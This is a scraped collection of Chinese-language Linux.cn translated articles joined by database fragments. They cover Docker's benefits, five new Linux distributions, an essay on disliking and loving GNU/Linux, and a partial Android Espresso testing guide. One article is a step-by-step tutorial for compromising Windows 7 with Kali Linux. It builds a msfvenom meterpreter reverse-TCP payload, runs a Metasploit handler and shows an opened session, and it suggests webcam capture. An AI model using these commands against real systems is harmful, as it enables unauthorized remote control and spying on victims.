即使在小型团队中,团队内部的沟通和相处也往往是困难的。然而在我们生活的这个世界里,团队内部对于细节的沟通是迈向成功越来越不可或缺的因素。而一个能够降低沟通复杂性,协助开发更为强健软件的工具,无疑是一个巨大的成功。这正是 Docker 值得我们深入了解的原因。当然 Docker 也不是什么灵丹妙药,它的正确使用还需深思熟虑,不过 Docker 确实能够解决一些组织层面的现实问题,还能够帮助公司更好更快地发布软件。使用精心设计的 Docker 工作流程能够让技术团队更加和谐,为组织创造实实在在的收益。
那么,最让公司感到头疼的问题是什么呢?现如今,很难按照预期的速度发布软件,而随着公司从只有一两个开发人员成长到拥有若干开发团队的时候,发布新版本时的沟通负担将越来越重,难以管理。开发者不得不去了解软件所处环境的复杂性,生产运营团队也需要不断地理解所发布软件的内部细节。这些通常都是不错的工作技能,因为它们有利于更好地从整体上理解发布环境,从而促进软件的鲁棒性设计。但是随着组织成长的加速,这些技能的拓展很困难。
充分了解所用的环境细节往往需要团队之间大量的沟通,而这并不能直接为团队创造值。例如,为了发布版本 1.2.1、开发人员要求运维团队升级特定的库,这个过程就降低了开发效率,也没有为公司创造价值。如果开发人员能够直接升级他们所使的库,然后编写代码,测试新版本,最后发布软件,那么整个交付过程所用的时间将会明显缩短。如果运维人员无需与多个应用开发团队相协调,就能够在宿主系统上升级软件,那么效率将大大提高。Docker 有助于在软件层面建立一层隔离,从而减轻团队的沟通负担。
除了有助于解决沟通问题,在某种程度上 Docker 的软件架构还鼓励开发出更多健壮的应用程序。这种架构哲学的核心是一次性的小型容器。在新版本部署的时候,会将旧版本应用的整个运行环境全部丢弃。在应用所处的环境中,任何东西的存在时间都不会超过应用程序本身。这是一个简单却影响深远的想法。这就意味着,应用程序不会意外地依赖于之前版本的遗留产物;对应用的短暂调试和修改也不会存在于未来的版本中;应用程序具有高度的可移植性,因为应用的所有状态要么直接包含于部署物中,且不可修改,要么存储于数据库、缓存或文件服务器等外部依赖中。
因此,应用程序不仅具有更好的可扩展性,而且更加可靠。存储应用的容器实例数量的增减,对于前端网站的影响很小。事实证明,这种架构对于非 Docker 化的应用程序已然成功,但是 Docker 自身包含了这种架构方式,使得 Docker 化的应用程序始终遵循这些最佳实践,这也是一件好事。
### Docker 工作流程的好处
我们很难把 Docker 的好处一一举例。如果用得好,Docker 能在多个方面为组织,团队,开发者和运营工程师带来帮助。从宿主系统的角度看,所有应用程序的本质是一样的,因此这就决定了 Docker 让架构的选择更加简单。这也让工具的编写和应用程序之间的分享变得更加容易。这世上没有什么只有好处却没有挑战的东西,但是 Docker 似乎就是一个例外。以下是一些我们使用 Docker 能够得到的好处:
**使用开发人员已经掌握的技能打包软件**
>
> 许多公司为了管理各种工具来为它们支持的平台生成软件包,不得不提供一些软件发布和构建工程师的岗位。像 rpm、mock、 dpkg 和 pbuilder 等工具使用起来并不容易,每一种工具都需要单独学习。而 Docker 则把你所有需要的东西全部打包起来,定义为一个文件。
>
>
>
**使用标准化的镜像格式打包应用软件及其所需的文件系统**
>
> 过去,不仅需要打包应用程序,还需要包含一些依赖库和守护进程等。然而,我们永远不能百分之百地保证,软件运行的环境是完全一致的。这就使得软件的打包很难掌握,许多公司也不能可靠地完成这项工作。常有类似的事发生,使用 Scientific Linux 的用户试图部署一个来自社区的、仅在 Red Hat Linux 上经过测试的软件包,希望这个软件包足够接近他们的需求。如果使用 Dokcer、只需将应用程序和其所依赖的每个文件一起部署即可。Docker 的分层镜像使得这个过程更加高效,确保应用程序运行在预期的环境中。
>
>
>
**测试打包好的构建产物并将其部署到运行任意系统的生产环境**
>
> 当开发者将更改提交到版本控制系统的时候,可以构建一个新的 Docker 镜像,然后通过测试,部署到生产环境,整个过程中无需任何的重新编译和重新打包。
>
>
>
**将应用软件从硬件中抽象出来,无需牺牲资源**
>
> 传统的企业级虚拟化解决方案,例如 VMware,以消耗资源为代价在物理硬件和运行其上的应用软件之间建立抽象层。虚拟机管理程序和每一个虚拟机中运行的内核都要占用一定的硬件系统资源,而这部分资源将不能够被宿主系统的应用程序使用。而容器仅仅是一个能够与 Linux 内核直接通信的进程,因此它可以使用更多的资源,直到系统资源耗尽或者配额达到上限为止。
>
>
>
Docker 出现之前,Linux 容器技术已经存在了很多年,Docker 使用的技术也不是全新的。但是这个独一无二的集强大架构和工作流程于一身的 Docker 要比各个技术加在一起还要强大的多。Docker 终于让已经存在了十余年的 Linux 容器走进了普通技术人员的生活中。Docker 让容器更加轻易地融入到公司现有的工作流程中。以上讨论到的问题已被很多人认可,以至于 Docker 项目的快速发展超出了所有人的合理预期。
Docker 发布的第一年,许多刚接触的新人惊讶地发现,尽管 Docker 还不能在生产环境中使用,但是来自 Docker 开源社区源源不断的提交,飞速推动着这个项目向前发展。随着时间的推移,这一速度似乎越来越快。现在 Docker 进入了 1.x 发布周期,稳定性好了,可以在生产环境中使用。因此,许多公司使用 Docker 来解决它们在应用程序交付过程中面对的棘手问题。
### Docker 不是什么
Docker 可以解决很多问题,这些问题是其他类型的传统工具专门解决的。那么 Docker 在功能上的广度就意味着它在特定的功能上缺乏深度。例如,一些组织认为,使用 Docker 之后可以完全摈弃配置管理工具,但 Docker 真正强大之处在于,它虽然能够取代某些传统的工具,但通常与它们是兼容的,甚至与它们结合使用还能增强自身的功能。下面将列举一些 Docker 还未能完全取代的工具,如果与它们结合起来使用,往往能取得更好的效果。
**企业级虚拟化平台(VMware、KVM 等)**
>
> 容器并不是传统意义上的虚拟机。虚拟机包含完整的操作系统,运行在宿主操作系统之上。虚拟化平台最大的优点是,一台宿主机上可以使用虚拟机运行多个完全不同的操作系统。而容器是和主机共用同一个内核,这就意味着容器使用更少的系统资源,但必须基于同一个底层操作系统(如 Linux)。
>
>
>
**云平台(Openstack、CloudStack 等)**
>
> 与企业级虚拟化平台一样,容器和云平台的工作流程表面上有大量的相似之处。从传统意义上看,二者都可以按需横向扩展。但是,Docker 并不是云平台,它只能在预先安装 Docker 的宿主机中部署,运行和管理容器,并能创建新的宿主系统(实例),对象存储,数据块存储以及其他与云平台相关的资源。
>
>
>
**配置管理工具(Puppet、Chef 等)**
>
> 尽管 Docker 能够显著提高一个组织管理应用程序及其依赖的能力,但不能完全取代传统的配置管理工具。Dockerfile 文件用于定义一个容器构建时内容,但不能持续管理容器运行时的状态和 Docker 的宿主系统。
>
>
>
**部署框架(Capistrano、Fabric等)**
>
> Docker 通过创建自成一体的容器镜像,简化了应用程序在所有环境上的部署过程。这些用于部署的容器镜像封装了应用程序的全部依赖。然而 Docker 本身无法执行复杂的自动化部署任务。我们通常使用其他工具一起实现较大的工作流程自动化。
>
>
>
**工作负载管理工具(Mesos、Fleet等)**
>
> Docker 服务器没有集群的概念。我们必须使用其他的业务流程工具(如 Docker 自己开发的 Swarm)智能地协调多个 Docker 主机的任务,跟踪所有主机的状态及其资源使用情况,确保运行着足够的容器。
>
>
>
**虚拟化开发环境(Vagrant 等)**
>
> 对开发者来说,Vagrant 是一个虚拟机管理工具,经常用来模拟与实际生产环境尽量一致的服务器软件栈。此外,Vagrant 可以很容易地让 Mac OS X 和基于 Windows 的工作站运行 Linux 软件。由于 Docker 服务器只能运行在 Linux 上,于是它提供了一个名为 Boot2Docker 的工具允许开发人员在不同的平台上快速运行基于 Linux 的 Docker 容器。Boot2Docker 足以满足很多标准的 Docker 工作流程,但仍然无法支持 Docker Machine 和 Vagrant 的所有功能。
>
>
>
如果没有强有力的参考标准,很难理解 Docker 的作用。下一章我们将概览 Docker,它是什么,它的目标使用场景,以及它的优势。
---
作者简介:
#### [Karl Matthias](https://www.oreilly.com/people/5abbf-karl-matthias)
Karl Matthias 曾在创业公司和世界 500 强企业中担任过开发人员,系统管理员和网络工程师。在德国和英国的初创公司工作了若干年后,他和家人回到了美国俄勒冈州波特兰,在 New Relic 公司担任首席网站可靠性工程师。业余时间,他会和他的两个女儿玩,用他那老式相机摄摄影,或者骑骑自行车。
#### [Sean Kane](https://www.oreilly.com/people/d5ce6-sean-kane)
Sean Kane 目前在 New Relic 公司的共享基础设施团队中担任首席网站可靠性工程师。他在生产运维领域有很长的职业生涯,在不同的行业中工作过,有许多不同的头衔。他在各类聚会和技术论坛做过演讲,涉及过疲劳预警和硬件自动化等话题。他的青年阶段大部分在海外度过,毕业于林林兄弟及巴纳姆和贝利小丑学院,在美国中央情报局做过两次实习等等,他一直在探索生活的真谛。
---
via: <https://www.oreilly.com/learning/what-is-docker>
作者:[Karl Matthias](https://www.oreilly.com/people/5abbf-karl-matthias),[Sean Kane](https://www.oreilly.com/people/d5ce6-sean-kane) 译者:[Cathon](https://github.com/Cathon) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,193 | 如何使用 Kali Linux 黑掉 Windows | http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/ | 2017-02-11T10:00:00 | [
"黑客",
"攻击",
"MSF",
"Kali"
] | /article-8193-1.html | Kali Linux 派生自 Debian Linux,主要用于渗透测试,拥有超过 300 个的预安装好的渗透测试工具。Metasploit 项目中 Metasploit 框架支持 Kali Linux 平台,Metasploit 是一个用于开发和执行<ruby> 安全利用代码 <rp> ( </rp> <rt> security exploit </rt> <rp> ) </rp></ruby>的工具。让我们来使用 Kali Linux 来攻破 Windows 吧。请注意,我写这篇文章只是出于教育目的哦——一切因此带来的后果和本文作者、译者无关。

### 源机器详情
Kali Linux
```
root@kali:/# uname -a
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
root@kali:/#
```
用做攻击对象的目标机器:
```
Windows 7 Ultimate SP1
```
### 步骤 1:创建 Payload 程序
Payload 是一个类似于病毒或者木马的程序,可以运行在远程目标上 —— 为了黑掉那台机器。可以通过以下命令来创建 Payload(`program.exe`),以便能使用 Kali Linux 黑掉 Windows。
```
root@kali:/# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.128 LPORT=4444 --format=exe -o /root/program.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes
Saved as: /root/program.exe
root@kali:/# ls -la /root/program.exe
-rw-r--r-- 1 root root 73802 Jan 26 00:46 /root/program.exe
```
通过 `ls` 命令,我们可以确认 Payload 程序是否成功生成在指定的位置。
### 步骤 2:运行 `mfsconsole` 命令启动 msf 命令窗口
```
root@kali:# msfconsole
.,,. .
.\$$$$$L..,,==aaccaacc%#s$b. d8, d8P
d8P #$$$$$$$$$$$$$$$$$$$$$$$$$$$b. `BP d888888p
d888888P '7$$$$\""""''^^`` .7$$$|D*"'``` ?88'
d8bd8b.d8p d8888b ?88' d888b8b _.os#$|8*"` d8P ?8b 88P
88P`?P'?P d8b_,dP 88P d8P' ?88 .oaS###S*"` d8P d8888b $whi?88b 88b
d88 d8 ?8 88b 88b 88b ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"` `?88' ?88 ?88 88b d88 d88
.a#$$$$$$"` 88b d8P 88b`?8888P'
,s$$$$$$$"` 888888P' 88n _.,,,ass;:
.a$$$$$$$P` d88P' .,.ass%#S$$$$$$$$$$$$$$'
.a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
.a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
_______________________________________________________________ ,&$$$$$$'_____
ll&&$$$$'
.;;lll&&&&'
...;;lllll&'
......;;;llll;;;....
` ......;;;;... . .
Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings -- learn more on http://rapid7.com/metasploit
=[ metasploit v4.12.22-dev ]
+ -- --=[ 1577 exploits - 906 auxiliary - 272 post ]
+ -- --=[ 455 payloads - 39 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf >
```
### 步骤 3:进行漏洞利用的细节
* 4444 端口:你可以按照自己的想法来选择使用哪个端口
* LHOST IP:表示 Kali Linux 机器的 IP,这里是 192.168.189.128。 使用如下命令来查看你的 Kali Linux 机器的 IP。
```
root@kali:/# ip r l
192.168.189.0/24 dev eth0 proto kernel scope link src 192.168.189.128 metric 100
root@kali:/#
```
现在在 msf 命令窗口使用 `use exploit/multi/handler` 命令,如下:
```
msf > use exploit/multi/handler
msf exploit(handler) >
```
然后在接下来的命令窗口中使用命令 `set payload windows/meterpreter/reverse_tcp`:
```
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
```
现在使用 LHOST 和 LPORT 来设置本地 IP 和本地端口,如下:
```
msf exploit(handler) > set lhost 192.168.189.128
lhost => 192.168.189.128
msf exploit(handler) > set lport 4444
lport => 4444
```
最后使用 `exploit` 命令。
```
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.189.128:4444
[*] Starting the payload handler...
```
现在你需要在 Windows 上运行 `program.exe`,一旦它在目标机器上执行,你就可以建立一个 meterpreter 会话。输入 `sysinfo` 就可以得到这台被黑掉的 Windows 机器的详情。
```
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.189.128:4444
[*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 192.168.189.1
[*] Meterpreter session 1 opened (192.168.189.128:4444 -> 192.168.189.1:53091) at 2017-01-26 00:51:31 +0000
meterpreter > sysinfo
Computer : MANN-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64 (Current Process is WOW64)
System Language : en_IN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
```
一旦你得到了这些详细信息,就可以做更多的漏洞利用,或者通过 `help` 命令获取更多信息,以便列出你可以黑掉该系统的所有选项,比如 `webcam_snap` 命令获取网络摄像头,同样你还可以使用其他更多的可用选项。祝你入侵愉快!!!! ←\_←
---
作者简介:
嗨,我是 Manmohan Mirkar。很高兴认识你。我接触 Linux 是在十年前,我做梦也没想到我有现在这样的收获。我的愿望就是让你学到 Linux 的知识,谢谢你的阅读。
译者简介:
[GHLandy](http://GHLandy.com) —— 划不完粉腮柳眉泣别离。
---
via: <http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/>
作者:[Manmohan Mirkar](http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/) 译者:[GHLandy](https://github.com/GHLandy) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| null | HTTPConnectionPool(host='www.linuxroutes.com', port=80): Max retries exceeded with url: /quick-guide-how-to-hack-windows-with-kali-linux/ (Caused by NameResolutionError("<urllib3.connection.HTTPConnection object at 0x7b8327581060>: Failed to resolve 'www.linuxroutes.com' ([Errno -2] Name or service not known)")) | null |
8,194 | 2017 年最值得期待的 5 个新 Linux 发行版 | http://www.tecmint.com/new-linux-distributions-2017/ | 2017-02-12T09:06:00 | [
"Linux",
"发行版"
] | https://linux.cn/article-8194-1.html | 如果你经常光顾 [Distrowatch](http://distrowatch.com/) 网站,你会发现每一年的 Linux 系统流行度排行榜几乎都没啥变化。
排在前十名的一直都是那几个发行版,而其它一些发行版也许现在还在排行榜中,到下一年年底就有可能不在了。
关于 Distrowatch 的一个大家很不了解的功能叫做[候选列表](http://distrowatch.com/dwres.php?resource=links#new),它包括以下类型的发行版:
* 还未进行评审
* 组件缺失或有缺陷
* 相关的英文资料不够丰富
* 该项目好像都没人进行维护
一些非常具有潜力,但是还未被评审的 Linux 系统发行版也是值得大家去关注的。但是注意,由于 Distrowatch 网站暂时没时间或人力去评审这些新的发行版,因此它们可能永远无法进入网站首页排名。

因此,我们将会跟大家分享下 **2017** 年最具潜力的 **5** 个新的 Linux 发行版系统,并且会对它们做一些简单的介绍。
由于 Linux 系统的生态圈都非常活跃,你可以期待着这篇文章后续的不断更新,或许在下一年中它将完全大变样了。
不管怎么说,咱们还是来看下这些新系统吧!
### 1、 SemicodeOS 操作系统
[SemicodeOS 操作系统](http://www.semicodeos.com/) 是一个专为程序员和 Web 开发人员设计的 Linux 发行版。它包括所有的开箱即用的代码编译器,各种文本编辑器,最流行的编程语言的 IDE 环境,以及团队协作编程工具。
即使你不是程序员或者开发人员,但是期望成为他们中的一员,SemicodeOS 系统自带的 Scratch IDE 工具可以在你起步时给以指引。尽管该系统还处于测试阶段,但是我相信这个开发于苏丹的 Linux 发行版在接下来的一年中将会让 Linux 开源社区变得更加丰富多彩。
你可以通过其官网了解更多的详细信息。

*Semicode Linux 操作系统*
### 2、 EnchantmentOS 操作系统
[EnchantmentOS](http://enchantment.sourceforge.net/) 操作系统是一个基于 Xubuntu 16.04 的发行版,它包括一些经过特别挑选的对内存要求较低的应用程序。这无论对新老设备来说都是一个不错的选择。
它同样遵循 Xubuntu 系统的长期支持周期,并且旨在提供可靠和安全的 Linux 应用软件。除此这外,即便是对非技术人员,其内置的应用程序也都非常地简单易用。
还有, EnchantmentOS 系统即使从 USB 存储设备启动时也表现出超强的性能,这一点是其创建者引以为豪的。

*EnchantmentOS 操作系统*
### 3、 Escuelas Linux 操作系统
[Escuelas Linux 操作系统](https://escuelaslinux.sourceforge.io/)(在西班牙语中是 “Linux 学校” 的意思)是一个基于 Bodhi 的 Linux 发行版,它主要是为中小学教育而设计的,它包括各种各样的与教育相关的应用软件。请忽略其西班牙语名字,它也提供全英语支持。
Escuelas Linux 系统其它方面的特性就是它使用的是轻量级桌面环境,低内存和低存储空间要求。其官网宣称,该系统只需要 300 MB 的内存和 20 GB 的硬盘存储空间就可以完美运行。

*Escuelas Linux 操作系统*
### 4、 OviOS 操作系统
与前面几个 Linux 发行版截然不同的是,[OviOS 操作系统](http://www.ovios.org/) 并不是一个多用途的操作系统。相反,它被描述为企业级存储操作系统,虽然它不基于任何发行版,但是完全与 Linux 标准基线(LSB)相兼容。
你可以把 OviOS 系统作为一种功能强大的存储设备,它能够处理 iSCSI、NFS、SMB 或者是 FTP 服务,除此之外,最新版的 OviOS 系统还能实现复制及高可用性。因此,你还在等什么呢?赶紧去试用一下吧。

*OviOS 操作系统*
### 5、 Open Network Linux
[ONL](http://www.opennetlinux.org/) 操作系统(简称)是一个基于 Debian 的发行版,而且(就像 OviOS 操作系统一样),它也不是一个多用途的操作系统。
如果你是一名网络管理员,你应该为找到这个操作系统而感到庆幸(如果你之前不知道的话),你可以把 ONL 系统应用于裸交换机设备上,替换原有的昂贵且需要授权的操作系统。
值得注意的是, ONL 操作系统因其包含各种各样的开箱即用的软件而出名,并且这些软件都是与面向网络的裸设备相关的。你准备好去尝试了吗?
### 总结
你应该注意到所有这些发行版在最近几个月内都已经提交给 Distrowatch 网站进行评审了。如果你对其中一些比较感兴趣,可以查看 [候选列表](http://distrowatch.com/dwres.php?resource=links#new) 页面,单击发行版名称旁边的 **推荐** 按钮。你所做的操作将会推动 Distrowatch 网站安排相关人员对该系统进行评审。
像往常一样,如果你对这篇文章有任何问题或建议,请随意提出来。请通过下面的评论区随时与我们进行交流。我们非常期待你的参与!
---
作者简介:
Gabriel Cánepa 来自 Argentina , San Luis , Villa Mercedes ,他是一名 GNU/Linux 系统管理员和网站开发工程师。目前在一家世界领先的消费品公司工作,在日常工作中,他非常善于使用 FOSS 工具来提高公司在各个领域的生产率。
---
via: <http://www.tecmint.com/new-linux-distributions-2017/>
作者:[Gabriel Cánepa](http://www.tecmint.com/author/gacanepa/) 译者:[rusking](https://github.com/rusking) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,195 | GNU/Linux,爱憎由之 | http://www.tecmint.com/things-i-dislike-and-love-about-gnu-linux/ | 2017-02-12T10:06:00 | [
"Linux"
] | https://linux.cn/article-8195-1.html | 首先,我能确定本文提及的内容一定会造成激烈的辩论,从之前那篇 [我讨厌 GNU/Linux 的五个理由 – 你呢,爱还是恨?](/article-3855-1.html) 的页底评论区就可见一斑。
也因此,我在此没有使用<ruby> 恨 <rp> ( </rp> <rt> hate </rt> <rp> ) </rp></ruby>这个词,那会让我感觉很不舒服,所以我觉得用<ruby> 不喜欢 <rp> ( </rp> <rt> dislike </rt> <rp> ) </rp></ruby>来代替更合适。
也就是说,请读者记住,文中的观点完完全全出于我个人和自身的经历,而这些想法和经历可能会和他人的相似,也可能相去甚远。
此外,我也意识到,这些所谓的<ruby> 不喜欢 <rp> ( </rp> <rt> dislike </rt> <rp> ) </rp></ruby>是与经验相关的,Linux 就是这个样子。然而,但正是这些事实阻碍了新用户做出迁移系统的决定。

像从前一样,随时留下评论并展开讨论,或者提出任何其他符合本文主题的观点。
### 不喜欢理由之一:从 Windows 迁移到 Linux 对用户来说是个陡峭的学习曲线
如果说使用 Windows 已经成为了你生活中不可缺少的一个部分,那么你在 Linux 电脑上安装一个新软件之前,还必须要习惯和理解诸如<ruby> 远程仓库 <rp> ( </rp> <rt> repository </rt> <rp> ) </rp></ruby>、<ruby> 依赖关系 <rp> ( </rp> <rt> dependency </rt> <rp> ) </rp></ruby>、<ruby> 包 <rp> ( </rp> <rt> package </rt> <rp> ) </rp></ruby>和<ruby> 包管理器 <rp> ( </rp> <rt> package manager </rt> <rp> ) </rp></ruby>等概念。
不久你也会发现,仅仅使用鼠标点击一个可执行程序是很难完成某个程序的安装的。或者由于一些原因,你没有可用的网络,那么安装一个你想要的软件会是一件非常累人的任务。
### 不喜欢理由之二:独立学习使用仍存在困难
类似理由一,事实上,最开始独立学习 Linux 知识的时候,很多人都会觉得那是一个巨大挑战。尽管网上有数以千万计的教程和 大量的好书,但初学者也会因此烦了选择困难症,不知从何开始学习。
此外,数不清的社区 (比如:[linuxsay.com](http://linuxsay.com/)) 论坛中都有大量的有经验用户为大家无偿提供(通常都是这样的)解答,但不幸的是,这些问题的解答并不完全可信、或者与新用户的经验和知识层面不匹配,导致用户无法理解。
事实上,因为有太多的发行版系列及其衍生版本可以获取,这使得我们有必要向第三方机构付费,让他们指引我们走向 Linux 世界的第一步、了解这些发行版系列之间的相同点以及区别。
### 不喜欢理由之三:新老系统/软件迁移问题
一旦你下定决心开始使用 Linux,那么无论是在家里或是办公室,也无论是个人版或者企业级,你都要完全从旧系统向新系统迁移,然后要考虑这些年来你所使用的软件在 Linux 平台上的替代产品。
而这确实令人矛盾不已,特别是要面对相同类型(比如文本处理器、关系型数据库系统、图形套件等) 的多个不同程序,而又没有受过专业指导和训练,那么很多人都下定不了决心要使用哪个好。
除非有可敬的有经验用户或者教学视频进行指导,否则存在太多的软件实例给用户进行选择,真的会让人走进误区。
### 不喜欢理由之四:缺乏硬件厂商的驱动支持
恐怕没有人能否认这样的事实,Linux 走过了漫长的历史,它的第一个内核版本公布已经有 20 多年了(LCTT 译注:准确说是将近 26 年了,1991.10.05 —— 2017.02,相信现今很多我们这些 Linux 用户在第一个内核版本公布的时候都还没出生,包括译者在内)。随着越来越多的设备驱动编译进每次发布的稳定内核中、越来越多的厂商开始支持研究和开发兼容 Linux 的设备驱动,Linux 用户们不再会经常遇到设备运行不正常的情况了,但还是会偶尔遭遇的。
并且,如果你的个人计算或者公司业务需要一个特殊设备,但恰巧又没有现成的 Linux 驱动,你还得困在 Windows 或者其他有驱动支持的其他系统。
尽管你经常这样提醒自己:“闭源软件真他妈邪恶!”,但事实上的确有闭源软件,并且不幸的是,出于商业需求我们多数情况还是被迫使用它。
### 不喜欢理由之五:Linux 的主要力量仍在于服务器
这么说吧,我加入 Linux 阵营的主要原因是多年前它将一台老电脑生机焕发并能够正常使用让我看到了它的前景。花费了一段时间来解决不喜欢理由之一、之二中遇到的那些问题,并且成功使用一台 566 MHz 赛扬处理器、10 GB IDE 硬盘以及仅有 256 MB 内存的机器搭载 Debian Squeeze 建立起一个家庭文件/打印/ Web 服务于一体的服务器之后,我非常开心。
当我发现即便是处于高负载的情况,htop 显示 系统资源消耗才勉强到达一半,这令非常我惊喜。
你可能已经不停在再问自己,文中明明说的是不喜欢 Linux,为什么还提这些事呢?答案很简单,我是需要一个比较好的 Linux 桌面发行版来运行在一台相对老旧的电脑上。当然我并不指望能够有那么一个发行版可以运行上述提到那种硬件特征的电脑上,但我的确没有发现有任何一款外观漂亮的可定制桌面系统能运行在 1 GB 内存以下的电脑中,如果可以,其速度大概比鼻涕虫还慢吧。
我想在此重申一下:我是说“我没发现”,而非“不存在”。可能某天我会发现一个较好的 Linux 桌面发行版能够用在我房间里那台寿终正寝的笔记本上。如果那天真的到来,我将首先删除这篇文章,并向它竖起大拇指。
### 总而言之
在本文中,我也尝试了提及 Linux 在某些地方仍需不断改进。我是一名幸福的 Linux 用户,并由衷地感谢那些杰出的社区不断为 Linux 系统、组件和其他功能做出贡献。我想重复一下我在本文开头说的 —— 这些明显的不足点,如果从适当的角度去看也是一种优势,或者也快了吧。
在那到来之前,让我们相互支持,一起学习并帮助 Linux 成长和传播。随时在下方留下你的评论和问题 —— 我们期待你不同的观点。
---
作者简介:
Gabriel Cánepa —— 一位来自<ruby> 阿根廷圣路易斯梅塞德斯镇 <rp> ( </rp> <rt> Villa Mercedes, San Luis, Argentina </rt> <rp> ) </rp></ruby>的 GNU/Linux 系统管理员,Web 开发者。就职于一家世界领先级的消费品公司,乐于在每天的工作中能使用 FOSS 工具来提高生产力。
---
译者简介:
[GHLandy](http://GHLandy.com) —— 生活中所有欢乐与苦闷都应藏在心中,有些事儿注定无人知晓,自己也无从说起。
---
via: <http://www.tecmint.com/things-i-dislike-and-love-about-gnu-linux/>
作者:[Gabriel Cánepa](http://www.tecmint.com/author/gacanepa/) 译者:[GHLandy](https://github.com/GHLandy) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,196 | 编写 android 测试单元该做的和不该做的事 | https://blog.mindorks.com/the-dos-and-don-ts-of-writing-test-cases-in-android-70f1b5dab3e1#.lfilq9k5e | 2017-02-12T11:38:00 | [
"测试用例"
] | https://linux.cn/article-8196-1.html | 
在本文中, 我将根据我的实际经验,为大家阐述一个编写测试用例的最佳实践。在本文中我将使用 Espresso 编码, 但是它们可以用到单元测试和<ruby> 仪器测试 <rp> ( </rp> <rt> instrumentation test </rt> <rp> ) </rp></ruby>当中。基于以上目的,我们来研究一个新闻程序。
>
> 以下内容纯属虚构,如有雷同纯属巧合 :P
>
>
>
一个新闻 APP 应该会有以下这些 activity。
* 语言选择 - 当用户第一次打开软件, 他必须至少选择一种语言。选择后,选项保存在共享偏好中,用户跳转到新闻列表 activity。
* 新闻列表 - 当用户来到新闻列表 activity,将发送一个包含语言参数的请求到服务器,并将服务器返回的内容显示在 recycler view 上(包含有新闻列表的 id, news\_list)。 如果共享偏好中未存语言参数,或者服务器没有返回一个成功消息, 就会弹出一个错误对话框并且 recycler view 将不可见。如果用户只选择了一种语言,新闻列表 activity 有个 “Change your Language” 的按钮,或者如果用户选择多种语言,则按钮为 “Change your Languages” 。 (我对天发誓这是一个虚构的 APP 软件)
* 新闻细节 - 如同名字所述, 当用户点选新闻列表项时将启动这个 activity。
这个 APP 功能已经足够,,让我们深入研究下为新闻列表 activity 编写的测试用例。 这是我第一次写的代码。
```
/*
Click on the first news item.
It should open NewsDetailActivity
*/
@Test
public void testClickOnAnyNewsItem() {
onView(allOf(withId(R.id.news_list), isDisplayed())).perform(RecyclerViewActions
.actionOnItemAtPosition(1, click()));
intended(hasComponent(NewsDetailsActivity.class.getName()));
}
/**
* To test the correct text on the button
*/
@Test
public void testChangeLanguageFeature() {
int count = UserPreferenceUtil.getSelectedLanguagesCount();
if (count == 1) {
onView(withText("Choose your Language")).check(matches(isDisplayed()));
} else if (count > 1) {
onView(withText("Choose your Languages")).check(matches(isDisplayed()));
}
?}
```
#### 仔细想想测试什么
在第一个测试用例 `testClickOnAnyNewsItem()`, 如果服务器没有返回成功信息,测试用例将会返回失败,因为 recycler view 是不可见的。但是这个测试用例的目的并非如此。 **不管该用例为 PASS 还是 FAIL,它的最低要求是 recycler view 总是可见的,** 如果因某种原因,recycler view 不可见,那么测试用例不应视为 FAILED。正确的测试代码应该像下面这个样子。
```
/*
Click on any news item.
It should open NewsDetailActivity
*/
@Test
public void testClickOnAnyNewsItem() {
try {
/*To test this case, we need to have recyclerView present. If we don't have the
recyclerview present either due to the presence of error_screen, then we should consider
this test case successful. The test case should be unsuccesful only when we click on a
news item and it doesn't open NewsDetail activity
*/
ViewInteraction viewInteraction = onView(withId(R.id.news_list));
viewInteraction.check(matches(isDisplayed()));
} catch (NoMatchingViewException e) {
return;
} catch (AssertionFailedError e) {
return;
}
//在这里我们确信,news_list的 recyclerview 对用户是可见的。
onView(allOf(withId(R.id.news_list), isDisplayed())).perform(RecyclerViewActions
.actionOnItemAtPosition(1, click()));
intended(hasComponent(NewsDetailsActivity.class.getName()));
}
}
```
#### 一个测试用例本身应该是完整的
当我开始测试, 我通常按如下顺序测试 activity:
* 语言选择
* 新闻列表
* 新闻细节
